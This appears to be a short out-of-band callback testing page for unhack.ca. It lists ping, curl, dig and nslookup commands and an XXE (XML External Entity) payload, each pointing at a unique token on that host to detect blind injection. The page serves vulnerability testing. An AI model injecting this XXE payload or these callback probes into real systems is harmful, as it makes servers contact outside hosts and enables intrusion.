$ ping -c1 -p 0015b901f32906431f6d6e0a282af800 unhack.ca
 
$ curl http://unhack.ca/p/15b901f32906431f6d6e0a282af8
 
$ dig 15b901f32906431f6d6e0a282af8 @unhack.ca
 
$ dig 15b901f32906431f6d6e0a282af8.ns.unhack.ca
 
C:\> nslookup 15b901f32906431f6d6e0a282af8 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/15b901f32906431f6d6e0a282af8">]>
    <foo>&xxe;</foo>
 
Waiting for ping...